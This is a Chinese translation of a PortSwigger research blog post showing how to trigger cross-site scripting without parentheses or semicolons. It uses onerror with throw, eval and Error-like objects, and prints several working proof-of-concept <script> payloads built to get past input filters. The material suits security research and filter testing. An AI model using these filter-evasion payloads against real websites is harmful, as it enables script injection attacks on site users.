无需括号和分号的XSS
几年前,我发现了一种在javascript语句中调用函数而不使用括号(使用onerror
和throw
)的方法。它的工作原理是将onerror
设置为你想调用的函数,然后用throw
语句将参数传递给函数:
<script>onerror=alert;throw 1337</script>
onerror
在每次javascript执行异常时都会被激活,调用指定的处理程序,并且throw
语句可创建一个发送到onerror
处的包含表达式的自定义异常。因为throw
是一个语句,在和onerror
配合使用时需要用分号隔离,避免被包含。
而最近,我遇到了一个过滤了括号和分号的网站,以前所发现的方法自然就失效了,现在我必须找到某种方法在不使用分号和括号的情况下执行一个函数。
第一种方法非常简单:你可以使用花括号来进行语句隔离,将onerror
整体放入花括号中。这样就避免了使用分号:
<script>{onerror=alert}throw 1337</script>
这种方法虽然可行,但我想要一个更酷的XSS。有趣的是,因为throw
语句可以接上一个表达式,所以你可以把onerror
放在throw
语句中进行赋值,并且throw
表达式的最后一部分会被发送到onerror
指定的处理函数中,实现一个自动的函数执行和参数调用。以下是它的工作原理:
<script>throw onerror=alert,'somestring',123,'haha'</script>
当运行上面的代码时,你可以注意到Chrome把Uncaught
作为描述异常的字符串的前缀。
在我之前的博客文章中,我展示了如何把eval当作异常处理程序并把指定字符串作为参数。简单回顾一下,你就会发现在字符串前加上一个=
,就能将Uncaught
字符串变成一个变量并执行任意javascript。例如:
<script>{onerror=eval}throw'=alert\x281337\x29'</script>
发送给eval
函数的是Uncaught=alert(1337)
。以上XSS能在Chrome上正常工作,但在Firefox上不行,因为Firefox的前缀是uncaught exception
,代码最后执行时会出现语法错误。于是我开始寻找通用的方法。
值得注意的是,当从控制台执行throw
时,onerror/throw
这套XSS是无法生效的。这是因为在控制台中执行throw
时,结果将发送到控制台而不是异常处理程序。
当你在Firefox中使用Error
函数创建异常时,最后报错语句的前缀不是uncaught exception
,而是字符串Error
:
throw new Error("My message")//Error: My message
当然,我显然无法直接使用Error
函数,因为它需要括号,但我想也许我能使用带有Error
原型的object literal来模拟它的动作。很可惜,试验后我发现这依旧不行——Firefox仍然使用相同的字符串作为前缀。接着我使用Hackability Inspector检查Error对象以查看它具有的属性。我将所有属性添加到object literal,发现它居然有效!于是我一个接一个地删除属性,直到找到最小的属性集合:
<script>{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'}</script>
你也可以使用fileName属性(在Firefox上)发送第二个参数:
<script>{onerror=prompt}throw{lineNumber:1,columnNumber:1,fileName:'second argument',message:'first argument'}</script>
我在推特@terjanq和@cgvwzq(Pepe Vila)上公布了这些发现,上面后面还有一些很酷的变种。例如在@terjanq上有一个删除了所有字符串的XSS:
<script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script>
还有通过使用类型错误自动将字符串发送到异常处理程序的方法,这使得我们完全不需要throw
语句。
<script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script>
感谢你的阅读!
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://portswigger.net/blog/xss-without-parentheses-and-semi-colons
最新评论